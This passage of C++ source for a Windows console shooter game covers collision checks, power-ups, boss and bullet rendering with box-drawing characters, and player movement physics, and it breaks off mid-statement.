SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED|FOREGROUND_BLUE);if(a==12) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED|FOREGROUND_GREEN);if(a==13) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY);if(a==14) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_GREEN|FOREGROUND_BLUE);}
    int Blomax,Ren,Exp,Expmax,Lv,Lvl,Ice,Drug,ar1,ar2,Tar1,Tar2,bl,br,Win,T,Tb,Sy,Up,Upt,Down,u1,u2,Kill,Killb,L,Ll[4],Li,D,Gd[10],Biao,Fire,Fir,fir[4],Water,Thun,Wind,Magne,I[20][2],ib,Dis,Disb,Dis1,Disb1,Boss,Bblo,Bblomax,Bwhat1,Bwhat2,Bwhat3,Bgo1[10],Bgo2[10],Bgo3[10],Bbr,Bbl,Bl[4];
    float X,Y,Vx,Vy,Ding,Blo,Hui,Bx1,By1,Bx2,By2,Bx3,By3,Bvx1,Bvy1,Bvx2,Bvy2,Bvx3,Bvy3,Bway[1001][2];
    struct bullet{float x,y,vx,vy;int what;int a,t,How;int life;bool kill;}B[100001];
    void Map(int a,int b);
    void Pan(int a,float x,float y,int b){
        float Nox[4],Noy[4];Nox[0]=X,Noy[0]=Y;
        if(Down==1&&X==22) Nox[1]=X+1,Noy[1]=Y-0.5,Nox[2]=X-1,Noy[2]=Y-0.5;else if(Down==2) Nox[1]=X+1,Noy[1]=Y-0.5,Nox[2]=-10,Noy[2]=-10;else if(Down==1||X<18) Nox[1]=X-1,Noy[1]=Y-0.5,Nox[2]=-10,Noy[2]=-10;else Nox[1]=X+1,Noy[1]=Y-0.5,Nox[2]=X-1,Noy[2]=Y-0.5;
        for(int i=0;i<3;i++){
            if(a==-1){if(abs(x-Nox[i])+abs(y-Noy[i])<1.5) {if(B[b].what==-10)Exp+=2;if(B[b].what==-11)Exp+=1;B[b].life=0;if(B[b].life==0&&b==bl) bl++;Map(3,b);break;}}
            if(a==-2){if(abs(x-Nox[i])+abs(y-Noy[i])<2.5) {if(B[b].what==-2)Exp+=5,Biao+=5;if(B[b].what==-3)Fire=300,Ice=0,Fir=3;if(B[b].what==-4)Water=200;if(B[b].what==-5){Wind=70;Ding=28.25;Ice=0;if(Y<Ding-1)Vy=5;else Vy=0;if(Up>=1) Vx=-5;if(Down==2) Vx=5;}if(B[b].what==-6){Thun=200;system("color 1F");Sleep(20);system("color 6F");Sleep(10);system("color 0F");}if(B[b].what==-7)Magne=300;if(B[b].what==-8)Ice=0,Drug=0,Blo=fmin((float)Blomax,Blo+20);if(B[b].what==-9)Exp=fmin((float)Expmax,Exp+20);B[b].life=0;if(B[b].life==0&&b==bl) bl++;Map(3,b);break;}}
        }if(Wind==0&&Thun==0&&(B[b].kill!=0||Killb>=15||Ren==1&&Killb>0)) return;
        for(int i=0;i<3;i++){
            if((Wind>=1||Thun>=1)&&abs(x-Nox[i])+abs(y-Noy[i])<2.5) {if(B[b].what<98)Exp+=2;B[b].life=0;Map(3,b);break;}
            if(a==1) {if(abs(x-Nox[i])<0.5&&abs(y-Noy[i])<1) {if(B[b].what>=99)Blo-=10;if(B[b].what==14)Blo-=15,Ice=100,B[b].life=0;else if(B[b].what==15)Blo-=20,Ice=0,B[b].life=0;else if(B[b].what==17)Blo-=5,Drug=100,B[b].life=0;else if(B[b].what>=13&&B[b].what<=17)Blo-=10,B[b].life=0;else Blo-=15;B[b].kill=1,Killb=20;Kill=1;Map(3,b);break;}}
            if(a==2||a==6||a==8||a==9||a==10||a==11||a==12) {if(abs(x-Nox[i])+abs(y-Noy[i])<1.5) {if(a==2)Blo-=20;else if(a==8)Blo-=10;else Blo-=15;B[b].kill=1,Killb=20;Kill=1;if(a!=2){B[b].life=0;if(B[b].life==0&&b==bl) bl++;Map(3,b);break;}}}
            if(a==4) {if((Wind>=1||Thun>=1)&&abs(x-Nox[i])<1.5&&Noy[i]-y<=0&&Noy[i]-y>=-8) {if(B[b].what<98)Exp+=2;B[b].life=0;Map(3,b);break;}if(abs(x-Nox[i])<1&&Noy[i]-y<=0&&Noy[i]-y>=-8) {Blo-=25,B[b].kill=1,Killb=20;Kill=1;Vy=-1;Y-=0.5;break;}}
        }
    }
    void Map(int a,int b){
        Color(0);
        if(a==-1){
            if(Boss==1||Boss==6){if(Bwhat1==5){if(ti(Bx1)==20)Setpos(Bx1,By1),cout<<"==";else Setpos(Bx1,By1),cout<<"  ";}else{Setpos(Bx1-1,By1-0.5),cout<<"    ";Setpos(Bx1,By1-1),cout<<"      ";Setpos(Bx1+1,By1-0.5),cout<<"    ";if(abs(ti(Bx1)-20)<=1)Setpos(20,By1-1),cout<<"======";}}
            if(Boss==2||Boss==6){Setpos(Bx2-1,By2-1);cout<<"    ";Setpos(Bx2,By2-1);cout<<"      ";Setpos(Bx2+1,By2-1),cout<<"      ";Color(0);if(abs(ti(Bx2)-20)<=1)Setpos(20,By2-1),cout<<"======";}
            if(Boss==3||Boss==6){Setpos(Bx3-1,By3-0.5);cout<<"     ";Setpos(Bx3,By3);cout<<"  ";Setpos(Bx3+1,By3-1),cout<<"      ";Color(0);if(abs(ti(Bx3)-20)<=1)Setpos(20,By3-1),cout<<"=======";}
            if(X<0)return;if(X>=17&&X<=19){Setpos(X-1,Y);cout<<"  ";Setpos(X,Y-1);cout<<"   ";Setpos(X+1,Y-1),cout<<"   ";}else if(X<=23&&X>=21){Setpos(X+1,Y);cout<<"  ";Setpos(X,Y-1);cout<<"   ";Setpos(X-1,Y-1),cout<<"    ";}else if(X>23){Setpos(X,Y-1);cout<<"    ";Setpos(X-1,Y-0.5),cout<<"   ";}else if(X<17&&Upt!=0){Setpos(X,Y-1);cout<<"    ";Setpos(X+1,Y-1.5),cout<<"    ";}else if(X<17){Setpos(X,Y-1);cout<<"    ";Setpos(X+1,Y-0.5),cout<<"   ";}if(Thun>0){Setpos(X-2,Y-1),cout<<"    ";Setpos(X+2,Y-1),cout<<"    ";Setpos(X,Y+2),cout<<"  ";Setpos(X,Y-2.5),cout<<"  ";Setpos(X-1,Y+1),cout<<"  ";Setpos(X+1,Y+1),cout<<"  ";Setpos(X-1,Y-2),cout<<"  ";Setpos(X+1,Y-2),cout<<"  ";Setpos(20,Y-2.5),cout<<"============";}if(Wind!=0){Setpos(X+1,Y-5);cout<<"        ";Setpos(X,Y-5);cout<<"        ";Setpos(X-1,Y-5);cout<<"        ";Setpos(20,Y-5),cout<<"========";}if(Water!=0){Setpos(X,Y-4);cout<<"       ";Setpos(X+2,Y-3.5);cout<<"     ";Setpos(X-2,Y-3.5);cout<<"     ";Setpos(X+1,Y-3.5);cout<<"     ";Setpos(X-1,Y-3.5);cout<<"     ";Setpos(20,Y-5),cout<<"========";}if(Fire!=0){Setpos(X,Y+1),cout<<"  ";Setpos(X+1,Y),cout<<"  ";Setpos(X-1,Y-1),cout<<"  ";Setpos(20,Y-1);cout<<"======";}
        }
        if(a==0){
            if(Boss==1||Boss==6){if(Bwhat1==5)Color(5),Setpos(Bx1,By1),cout<<"█",Color(0);else if(Bwhat1==4&&Bgo1[1]>6&&Bgo1[1]<11)Color(4),Setpos(Bgo1[5]-1,Bgo1[6]),cout<<"︻",Setpos(Bgo1[5],Bgo1[6]-1),cout<<"【",Setpos(Bgo1[5],Bgo1[6]+1),cout<<"】",Setpos(Bgo1[5]+1,Bgo1[6]),cout<<"︼",Color(0);else{Setpos(Bx1-1,By1-0.5),Color(0),cout<<"●●";Setpos(Bx1,By1-1);if(Bwhat1==2&&Bgo1[1]<=5)Color(1);else if(Bwhat1==3&&Bgo1[1]<=5)Color(5);else if(Bwhat1==6&&Bgo1[1]<=5)Color(8); else Color(4);if(Bwhat1==4) Setpos(Bx1,By1-0.5),cout<<"██(";else cout<<")██(";Setpos(Bx1+1,By1-0.5),cout<<"……";Color(0);}}
            if(Boss==2||Boss==6){Setpos(Bx2-1,By2-1);Color(0),cout<<"\\ ";Color(0);cout<<"●";Setpos(Bx2,By2-1);Color(3);cout<<"◥";Color(5),cout<<"JJJ";Color(0),cout<<">";Color(3);Setpos(Bx2+1,By2-1),cout<<"◢█◣";Color(0);}
            if(Boss==3||Boss==6){Setpos(Bx3-1,By3-0.5);if(Bwhat3==3||Bwhat3==9) Color(1);else if(Bwhat3==4||Bwhat3==10) Color(4);else if(Bwhat3==5||Bwhat3==11) Color(5);if(Bwhat3==11)cout<<' ';else if(Bwhat3==6) Color(3);else Color(2);cout<<"●-";Setpos(Bx3,By3);if(Bwhat3==11)cout<<"/";else cout<<"┃";Color(0);Setpos(Bx3+1,By3-1),cout<<"●●●";}
            if(X<0)return;if(Ren==2) Color(12);if(Ren==3) Color(1);if(Ren==4) Color(3);if(Ren==5) Color(4);if(Ren==6) Color(2);if(Drug!=0&&T%5!=0) Color(11);if(Drug!=0&&T%5==0) Color(11);if(Ice!=0) Color(6);if(b==1) Color(8);if(Li!=0) Color(5);if(Ren==1&&Killb>0&&T%4<2) Color(13);if(Wind>0&&T%4<=1) Color(1);if(Wind>0&&T%4>=2) Color(0);if(Thun>0&&T%4<=1) Color(1);if(Thun>0&&T%4>=2) Color(6);
            if(X>=17&&X<=19){Setpos(X-1,Y);cout<<"●";Setpos(X,Y-1);cout<<"━/";if(T%10<3) Setpos(X+1,Y-1),cout<<"┛╲";else if(T%10<6) Setpos(X+1,Y-1),cout<<"┦ ";else Setpos(X+1,Y-1),cout<<"╯>";if(Wind>0&&T%3==0) Setpos(X+1,Y-1),cout<<"┛╲";else if(Wind>0&&T%3==1) Setpos(X+1,Y-1),cout<<"┦ ";else if(Wind>0&&T%3==2)Setpos(X+1,Y-1),cout<<"╯>";}else if(X<=23&&X>=21){Setpos(X+1,Y);cout<<"●";Setpos(X,Y-1);cout<<"━\\";if(T%10<3) Setpos(X-1,Y-1),cout<<"┓╱";else if(T%10<6) Setpos(X-1,Y-1),cout<<"┪ ";else Setpos(X-1,Y-1),cout<<"╮>";if(Wind>0&&T%3==0) Setpos(X-1,Y-1),cout<<"┓╱";else if(Wind>0&&T%3==1) Setpos(X-1,Y-1),cout<<"┪ ";else if(Wind>0&&T%3==2)Setpos(X-1,Y-1),cout<<"╮>";}else if(X>23){Setpos(X,Y-1);cout<<"━ ●";Setpos(X-1,Y-0.5),cout<<"│>";}else if(X<17&&Upt!=0){Setpos(X,Y-1);cout<<"━ ●";Setpos(X+1,Y-1.5),cout<<"╱ >";}else if(X<17){Setpos(X,Y-1);cout<<"━ ●";Setpos(X+1,Y-0.5),cout<<"│>";}if(Thun>0){Setpos(X-2,Y-1),cout<<"▄▄";Setpos(X+2,Y-1),cout<<"▄▄";Setpos(X,Y+2),cout<<"▌";Setpos(X,Y-2.5),cout<<"▌";Setpos(X-1,Y+1),cout<<"█";Setpos(X+1,Y+1),cout<<"█";Setpos(X-1,Y-2),cout<<"█";Setpos(X+1,Y-2),cout<<"█";}if(Magne>0&&T%7<2)Setpos(X,Y),Color(5),cout<<"★";if(Wind>1){if(T%6<2)Color(1);else Color(0);if(T%8<=1){Setpos(X+1,Y-5);cout<<"----  --";Setpos(X,Y-5);cout<<"-  --- -";Setpos(X-1,Y-5);cout<<"--- - --";}else if(T%8<=3){Setpos(X+1,Y-5);cout<<"------  ";Setpos(X,Y-5);cout<<" --  ---";Setpos(X-1,Y-5);cout<<"----- - ";}else if(T%8<=5){Setpos(X+1,Y-5);cout<<"  ------";Setpos(X,Y-5);cout<<"-- --  -";Setpos(X-1,Y-5);cout<<"- ----- ";}else if(T%8<=7){Setpos(X+1,Y-5);cout<<"--  ----";Setpos(X,Y-5);cout<<" --- -- ";Setpos(X-1,Y-5);cout<<"- - ----";}}if(Water!=0){Color(1);if(T%20<5){Setpos(X+2,Y-3);cout<<"■";Setpos(X+1,Y-3.5);cout<<"■";Setpos(X-1,Y-2.5);cout<<"■";Setpos(X-2,Y-3);cout<<"■";}else if(T%20<10||T%20>=15){Setpos(X+2,Y-3);cout<<"■";Setpos(X,Y-4);cout<<"■■";Setpos(X-2,Y-3);  cout<<"■";}else if(T%20<15){Setpos(X+2,Y-3.5);cout<<"■";Setpos(X+1,Y-3);cout<<"■";Setpos(X-1,Y-3.5);cout<<"■";Setpos(X-2,Y-3);cout<<"■";}}if(Fire!=0){if(T%6<3)Color(4);else Color(5);if(Fir>=1)Setpos(X,Y+1),cout<<"●";if(Fir>=2)Setpos(X+1,Y),cout<<"●";if(Fir>=3)Setpos(X-1,Y-1),cout<<"●";}
        }
        if(a==1||a==3){
            if(B[b].what==1){Nor;Setpos(B[b].x,B[b].y-1);if(ti(B[b].x)==20)cout<<"======";else cout<<"      ";if(B[b].life!=0){B[b].y-=B[b].vy;Setpos(B[b].x,B[b].y);if(B[b].How<=1) Color(13);else Color(4);cout<<"●";if(a==1) Pan(1,B[b].x,B[b].y,b);}}
            if(B[b].what==2){Nor;Setpos(B[b].x-1,B[b].y-1);if(ti(B[b].x-1)==20)cout<<"======";else cout<<"      ";Setpos(B[b].x,B[b].y-1);if(ti(B[b].x)==20)cout<<"======";else cout<<"      ";Setpos(B[b].x+1,B[b].y-1);if(ti(B[b].x+1)==20)cout<<"======";else cout<<"      ";if(B[b].life!=0){B[b].y-=B[b].vy;Setpos(B[b].x,B[b].y);Color(5);if(B[b].How==0){Setpos(B[b].x-1,B[b].y),cout<<"↑";Setpos(B[b].x,B[b].y-1),cout<<"←┼ →";Setpos(B[b].x+1,B[b].y),cout<<"↓";}else if(B[b].How==1){Setpos(B[b].x-1,B[b].y-1),cout<<"↖  ↗";Setpos(B[b].x,B[b].y),cout<<"╳";Setpos(B[b].x+1,B[b].y-1),cout<<"↙  ↘";} if(a==1) Pan(2,B[b].x,B[b].y,b);}}
            if(B[b].what==3||B[b].what==5){Nor;Setpos(B[b].x,B[b].y);if(ti(B[b].x)==20)cout<<"==";else cout<<"  ";if(B[b].life!=0){B[b].y-=B[b].vy;B[b].x-=B[b].vx;Setpos(B[b].x,B[b].y);if(B[b].How==1) Color(5);else Color(4);cout<<"◎";}}
            if(B[b].what==4){Nor;Setpos(B[b].x,fmax((float)0,B[b].y-8));if(ti(B[b].x)==20){for(int i=max(0,(int)B[b].y-8);i<=B[b].y;i++)cout<<"==";}else {for(int i=max(0,(int)B[b].y-8);i<=B[b].y;i++)cout<<"  ";}if(B[b].life!=0){B[b].y-=B[b].vy;Setpos(B[b].x,fmax((float)0,B[b].y-8));Color(6); for(int i=max(0,(int)B[b].y-8);i<=B[b].y;i++)cout<<"═"; if(a==1) Pan(4,B[b].x,B[b].y,b);}}
            if(B[b].what==6||B[b].what==8||B[b].what==9){Nor;Setpos(B[b].x-1,B[b].y);if(ti(B[b].x)-1==20)cout<<"==";else cout<<"  ";Setpos(B[b].x+1,B[b].y);if(ti(B[b].x)+1==20)cout<<"==";else cout<<"  ";Setpos(B[b].x,B[b].y-1);if(ti(B[b].x)==20)cout<<"======";else cout<<"      ";if(B[b].life!=0){B[b].y-=B[b].vy;B[b].x-=B[b].vx;Setpos(B[b].x,B[b].y-1);if(B[b].what==6){if(B[b].How<=1) Color(1); else Color(6);}if(B[b].what==9){if(B[b].How<=1) Color(4); else Color(8);}if(B[b].what==8)Color(5);Setpos(B[b].x-1,B[b].y);cout<<"︹";Setpos(B[b].x+1,B[b].y);cout<<"︺";Setpos(B[b].x,B[b].y-1);if(B[b].How%2==1) cout<<"〔●〕"; else cout<<"﹝○﹞"; if(a==1) Pan(6,B[b].x,B[b].y,b);}}
            if(B[b].what==7){Nor;Setpos(B[b].x,B[b].y);if(B[b].How<0) for(int i=19;i>=20+B[b].How;i--) {Setpos(i,B[b].y);cout<<"  ";}if(B[b].How>0) for(int i=21;i<=20+B[b].How;i++) {Setpos(i,B[b].y);cout<<"  ";}if(B[b].life!=0){B[b].y-=B[b].vy;if(B[b].How<0) for(int i=19;i>=20+B[b].How;i--) {Setpos(i,B[b].y);cout<<"║"; if(a==1) Pan(7,i,B[b].y,b);}if(B[b].How>0) for(int i=21;i<=20+B[b].How;i++) {Setpos(i,B[b].y);cout<<"║"; if(a==1) Pan(7,i,B[b].y,b);}}}
            if(B[b].what==10||B[b].what==11||B[b].what==12){Nor;Setpos(B[b].x,B[b].y);if(ti(B[b].x)==20)cout<<"==";else cout<<"  ";if(B[b].life!=0){B[b].x-=B[b].vx;B[b].y-=B[b].vy;if(B[b].How==1){B[b].vy-=0.2;}else B[b].vx-=0.35;if(B[b].x>=25) B[b].x=25,B[b].vx*=-0.8;if(B[b].what==11&&B[b].y<=1) B[b].y=1,B[b].vy*=-1;if(B[b].what==12&&B[b].y<=1) B[b].y=1,B[b].vx=0,B[b].vy=-0.5,B[b].How=1;Setpos(B[b].x,B[b].y);if(B[b].what==11)Color(1);else if(B[b].what==12)Color(5);else Color(0);if(B[b].t%4<2)cout<<"▃";else cout<<"▍";if(a==1) Pan(B[b].what,B[b].x,B[b].y,b);}}
            if(B[b].what>=13&&B[b].what<=17){Nor;Setpos(B[b].x,B[b].y);if(ti(B[b].x)==20)cout<<"====";else cout<<"    ";if(B[b].life!=0){B[b].x-=B[b].vx;B[b].y-=B[b].vy;Setpos(B[b].x,B[b].y);if(B[b].what==14) Color(1);else if(B[b].what==15) Color(4);else if(B[b].what==16) Color(5);else if(B[b].what==17) Color(3);else Color(2);cout<<"●";if(B[b].what==14)cout<<"*";if(B[b].what==15)cout<<"";if(B[b].what==16)cout<<"<";if(B[b].what==17)cout<<"X";} if(a==1) Pan(1,B[b].x,B[b].y,b);}
            if(B[b].what==98&&B[b].life!=0){B[b].y-=B[b].vy;Setpos(B[b].x,B[b].y);if(ti(B[b].x==20))cout<<"==";else cout<<"  ";if(B[b].y<=3)B[b].life=0;} 
            if(B[b].what>=99){if(B[b].y<=3)B[b].life=0;if(B[b].life!=0){B[b].y-=B[b].vy;Setpos(B[b].x,B[b].y);Color(5);if(B[b].what==99)cout<<"█";if(B[b].what>=100&&B[b].what<200){if(B[b].what%5==0)cout<<"胎";if(B[b].what%5==1)cout<<"神";if(B[b].what%5==2)cout<<"太";if(B[b].what%5==3)cout<<"帅";if(B[b].what%5==4)cout<<"了";}if(B[b].what>=200&&B[b].what<300){if(B[b].what%6==0)cout<<"神";if(B[b].what%6==1)cout<<"级";if(B[b].what%6==2)cout<<"胎";if(B[b].what%6==3)cout<<"神";if(B[b].what%6==4)cout<<"之";if(B[b].what%6==5)cout<<"光";}if(B[b].what>=300&&B[b].what<400){if(B[b].what%8==0)cout<<"颤";if(B[b].what%8==1)cout<<"抖";if(B[b].what%8==2)cout<<"吧";if(B[b].what%8==3)cout<<"无";if(B[b].what%8==4)cout<<"能";if(B[b].what%8==5)cout<<"的";if(B[b].what%8==6)cout<<"人";if(B[b].what%8==7)cout<<"类";}if(B[b].what>=400&&B[b].what<500){if(B[b].what%8==0)cout<<"还";if(B[b].what%8==1)cout<<"不";if(B[b].what%8==2)cout<<"快";if(B[b].what%8==3)cout<<"跪";if(B[b].what%8==4)cout<<"倒";if(B[b].what%8==5)cout<<"在";if(B[b].what%8==6)cout<<"朕";if(B[b].what%8==7)cout<<"前";}if(B[b].what>=500&&B[b].what<600){if(B[b].what%8==0)cout<<"看";if(B[b].what%8==1)cout<<"懂";if(B[b].what%8==2)cout<<"这";if(B[b].what%8==3)cout<<"句";if(B[b].what%8==4)cout<<"话";if(B[b].what%8==5)cout<<"的";if(B[b].what%8==6)cout<<"是";if(B[b].what%8==7)cout<<"猪";} if(a==1) Pan(1,B[b].x,B[b].y,b);}}
            if(B[b].what==-1){Nor;Setpos(B[b].x,B[b].y);if(ti(B[b].x)==20)cout<<"==";else cout<<"  ";if(Boss==0) B[b].life=0;else if(((Boss==1&&abs(B[b].x-Bx1)+abs(B[b].y-By1)<1.5)||(Boss==2&&abs(B[b].x-Bx2)+abs(B[b].y-By2)<1.5)||(Boss==3&&abs(B[b].x-Bx3)+abs(B[b].y-By3)<1.5)||(B[b].t==10))&&B[b].life==1) Bblo-=8+Lv*2,B[b].life=0;if(B[b].life!=0){if(Boss==1)B[b].x=B[b].x+(Bx1-B[b].x)/(10-B[b].t)*1.0,B[b].y=B[b].y+(By1-B[b].y)/(10-B[b].t)*1.0;if(Boss==2)B[b].x=B[b].x+(Bx2-B[b].x)/(10-B[b].t)*1.0,B[b].y=B[b].y+(By2-B[b].y)/(10-B[b].t)*1.0;if(Boss==3)B[b].x=B[b].x+(Bx3-B[b].x)/(10-B[b].t)*1.0,B[b].y=B[b].y+(By3-B[b].y)/(10-B[b].t)*1.0;Setpos(B[b].x,B[b].y);Color(7);if(B[b].t%2==0) cout<<"+";else cout<<"×";}}
            if(B[b].what<=-2&&B[b].what>=-9){Nor;Setpos(B[b].x-1,B[b].y);if(ti(B[b].x)-1==20)cout<<"==";else cout<<"  ";Setpos(B[b].x+1,B[b].y);if(ti(B[b].x)+1==20)cout<<"==";else cout<<"  ";Setpos(B[b].x,B[b].y-1);if(ti(B[b].x)==20)cout<<"======";else cout<<"      ";if(B[b].life!=0){B[b].y-=B[b].vy;B[b].x-=B[b].vx;if(B[b].what<=-3&&B[b].what>=-7){if(B[b].x<=7)B[b].x=7;if(B[b].x>=28)B[b].x=28;else if(B[b].x>=B[b].a+1&&B[b].How==1)B[b].How=0;else if(B[b].x<=B[b].a-1&&B[b].How==0)B[b].How=1;if(B[b].How==1&&B[b].vx>=-1)B[b].vx-=0.2;if(B[b].How==0&&B[b].vx<=1)B[b].vx+=0.2;}if(B[b].what==-2) Color(3);if(B[b].what==-3) Color(4);if(B[b].what==-4) Color(1);if(B[b].what==-5) Color(0);if(B[b].what==-6) Color(6);if(B[b].what==-7) Color(5);if(B[b].what==-8) Color(2);if(B[b].what==-9) Color(14);if(T%7<=1&&B[b].what==-5)Color(1);else if(T%7<=1)Color(0);Setpos(B[b].x-1,B[b].y);cout<<"︹";Setpos(B[b].x+1,B[b].y);cout<<"︺";Setpos(B[b].x,B[b].y-1);if(B[b].what==-2) cout<<"﹝镖﹞";if(B[b].what==-3) cout<<"﹝火﹞";if(B[b].what==-4) cout<<"﹝水﹞";if(B[b].what==-5) cout<<"﹝风﹞";if(B[b].what==-6) cout<<"﹝雷﹞";if(B[b].what==-7) cout<<"﹝磁﹞";if(B[b].what==-8) cout<<"﹝血﹞";if(B[b].what==-9) cout<<"﹝忍﹞"; if(a==1) Pan(-2,B[b].x,B[b].y,b);}}
            if(B[b].what==-11||B[b].what==-12){Nor;Setpos(B[b].x,B[b].y);if(ti(B[b].x)==20)cout<<"==";else cout<<"  ";if(B[b].life!=0){if(Magne>0)B[b].How++,B[b].x=B[b].x+(X-B[b].x)/(10-B[b].How)*1.0,B[b].y=B[b].y+(Y-B[b].y)/(10-B[b].How)*1.0;B[b].y-=B[b].vy;Setpos(B[b].x,B[b].y);if(B[b].what==-10) Color(5);if(B[b].what==-11) Color(7);if(T%7<=1)Color(0);cout<<"◆"; if(a==1) Pan(-1,B[b].x,B[b].y,b);}}
            if(B[b].what==-13){Nor;Setpos(B[b].x,B[b].y-0.5);if(ti(B[b].x)==20)cout<<"===";else cout<<"   ";if(B[b].life!=0){if(B[b].a==13880086){if(Boss==0) B[b].life=0;else if(((Boss==1&&abs(B[b].x-Bx1)+abs(B[b].y-By1)<1.5)||(Boss==2&&abs(B[b].x-Bx2)+abs(B[b].y-By2)<1.5)||(Boss==3&&abs(B[b].x-Bx3)+abs(B[b].y-By3)<1.5)||(B[b].t==5))&&B[b].life==1) Bblo-=8+Lv*2,B[b].life=0;if(B[b].life!=0){if(Boss==1)B[b].x=B[b].x+(Bx1-B[b].x)/(5-B[b].t)*1.0,B[b].y=B[b].y+(By1-B[b].y)/(5-B[b].t)*1.0;if(Boss==2)B[b].x=B[b].x+(Bx2-B[b].x)/(5-B[b].t)*1.0,B[b].y=B[b].y+(By2-B[b].y)/(5-B[b].t)*1.0;if(Boss==3)B[b].x=B[b].x+(Bx3-B[b].x)/(5-B[b].t)*1.0,B[b].y=B[b].y+(By3-B[b].y)/(5-B[b].t)*1.0;}}else{if(B[B[b].a].life==0) B[b].life=0;else if((abs(B[b].x-B[B[b].a].x)+abs(B[b].y-B[B[b].a].y)<1.5||(B[b].t==5))&&B[b].life==1) Exp+=2,B[B[b].a].life=B[b].life=0;if(B[b].life!=0){B[b].x=B[b].x+(B[B[b].a].x-B[b].x)/(5-B[b].t)*1.0,B[b].y=B[b].y+(B[B[b].a].y-B[b].y)/(5-B[b].t)*1.0;}}Setpos(B[b].x,B[b].y-0.5);if(T%6<3)Color(5);else Color(4);cout<<"●";}}
        }if(br<bl) {br=-1,bl=0;memset(B,0,sizeof(B));}Color(0);
    }
    void Move(){
        if(X<3) X=3;if(Y<1) Y=1,Vy=0;if(Y>29) Y=29,Vy=0;
        if(Ice!=0){X-=Vx/2.0;Y+=Vy/2.0;Vy=fmax(Vy-0.025,(float)0);if(T%6==0&&Up==0&&Y<Ding) Y+=0.25;if(T%6==3&&Up==0&&Y>=Ding) Y-=0.25;if(Up==0&&Y<=Ding-1.25) Vy=0.25;if(Up==0&&Y>=Ding+1.25&&Wind==0) Vy=-0.25;if(Up==0&&Down==0&&Vx>0&&X<=18) Up=0,Down=0,Vx=0,Vy=0,X=18,Setpos(20,Y-2.5),cout<<"==========";else if(Down==2&&X<=22) Up=0,Down=1,Vx=0,Vy=0,X=22,Setpos(20,Y-2.5),cout<<"==========";else if(Up==0&&Down==1&&Vx<0&&X>=22) Up=0,Down=1,Vx=0,Vy=0,X=22,Setpos(20,Y-2.5),cout<<"==========";else if(Up>0&&Down==0&&X>18) Up=0,Vx=0,Vy=0,X=18,Setpos(20,Y-2.5),cout<<"==========";else if(Down==2) Vx+=0.175;else if(Up>0&&Upt==0) Vx-=0.175;else if(Up>0&&Upt>0) {Vx=fmax(Vx-0.125,(float)0);if(Upt==1&&T%2==0)Map(-1,0);if(T%2==0)Upt--;}}
        else{X-=Vx;Y+=Vy;Vy=fmax(Vy-0.05,(float)0);if(Wind==0){if(T%6==0&&Up==0&&Y<Ding) Y+=0.5;if(T%6==3&&Up==0&&Y>=Ding) Y-=0.5;}else{if(T%2==0&&Up==0&&Y<Ding) Y+=0.5;if(T%2==1&&Up==0&&Y>=Ding) Y-=0.5;}if(Up==0&&Y<=Ding-1.25) Vy=0.5;if(Up==0&&Y>=Ding+1.25&&Wind==0) Vy=-0.5;if(Up==0&&Down==0&&Vx>0&&X<=18) Up=0,Down=0,Vx=0,Vy=0,X=18,Setpos(20,Y-2.5),cout<<"==========";else if(Down==2&&X<=22) Up=0,Down=1,Vx=0,Vy=0,X=22,Setpos(20,Y-2.5),cout<<"==========";else if(Up==0&&Down==1&&Vx<0&&X>=22) Up=0,Down=1,Vx=0,Vy=0,X=22,Setpos(20,Y-2.5),cout<<"==========";else if(Up>0&&Down==0&&X>18) Up=0,Vx=0,Vy=0,X=18,Setpos(20,Y-2.5),cout<<"==========";else if(Down==2) Vx+=0.35;else if(Up>0&&Upt==0) Vx-=0.35;else if(Up>0&&Upt>0) {Vx=fmax(Vx-0.25,(float)0);if(Upt==1)Map(-1,0); Upt--;}}
        for(int i=bl;i<=br;i++){
            if(B[i].what<98)if(B[i].x-B[i].vx<=5||B[i].x-B[i].vx>=30||B[i].y-B[i].vy<=0||B[i].y-B[i].vy>=30){B[i].life=0;Map(1,i);}
            for(int j=0;j<20;j++)if(B[i].what>0&&B[i].life!=0&&abs(B[i].x-I[j][0])<2&&B[i].y-I[j][1]<=2){Setpos(I[j][0],I[j][1]);if(I[j][0]==20) cout<<"===";else cout<<"   ";I[j][0]=I[j][1]=-1;B[i].life=0;Exp+=2;}
            if(B[i].t>=100)B[i].life=0;if(B[i].life==0&&i==bl) bl++;
            Map(1,i);if(B[i].life==0) continue;
            else{B[i].t++;
                if(B[i].what==1){if(B[i].y<=25&&B[i].How==0) B[i].vy=0,B[i].How=1;if(B[i].t==30) B[i].y+=1.5,B[i].How=2;if(B[i].t==35) B[i].vy=1.5,B[i].How=3;}
                if(B[i].what==2){if(B[i].t%3==0) B[i].How=!B[i].How;} 
                if(B[i].what==3||B[i].what==5){if(B[i].what==3&&B[i].y<=20) B[i].vy=0;if(B[i].what==5&&B[i].y<=21) B[i].vy=0;if(B[i].t>30&&B[i].t%2==0) B[i].How=!B[i].How;if(B[i].what==5&&B[i].t<=30&&B[i].x<X) B[i].vx=-0.2;else if(B[i].what==5&&B[i].t<=70&&B[i].x>X) B[i].vx=0.2;else B[i].vx=0;if(B[i].t==45){B[i].life=0;br++;B[br].what=4;B[br].x=B[i].x;B[br].y=32;B[br].vy=3;B[br].life=1;}}
                if(B[i].what==6||B[i].what==8||B[i].what==9){if(B[i].vx<0.25&&B[i].vy<0.25&&B[i].t>=50){B[i].life=0;if(B[i].life==0&&i==bl) bl++;Map(1,i);break;}if(B[i].t%5==0) B[i].How=rand()%4;if(B[i].what==9){if(B[i].t==7){X9:float xx=(rand()%41)/40.0,yy=(rand()%41)/40.0;if(xx<=0.5&&yy<=0.5) goto X9;for(int j=1;j<=4;j++){br++,B[br].what=9;B[br].t=11;B[br].x=B[i].x,B[br].y=B[i].y,B[br].vx=xx,B[br].vy=yy;if(j%2==0)swap(B[br].vx,B[br].vy),B[br].vy*=-1;if(j<=2)B[br].vx*=-1,B[br].vy*=-1;B[br].life=1;}B[i].life=0;}}if(B[i].what==8){if(B[i].x>X&&B[i].vx<1.2) B[i].vx+=fmax((float)0,0.2-B[i].t/25);if(B[i].x<X&&B[i].vx>-1.2) B[i].vx-=fmax((float)0,0.2-B[i].t/25);if(B[i].y>Y&&B[i].vy<1.2) 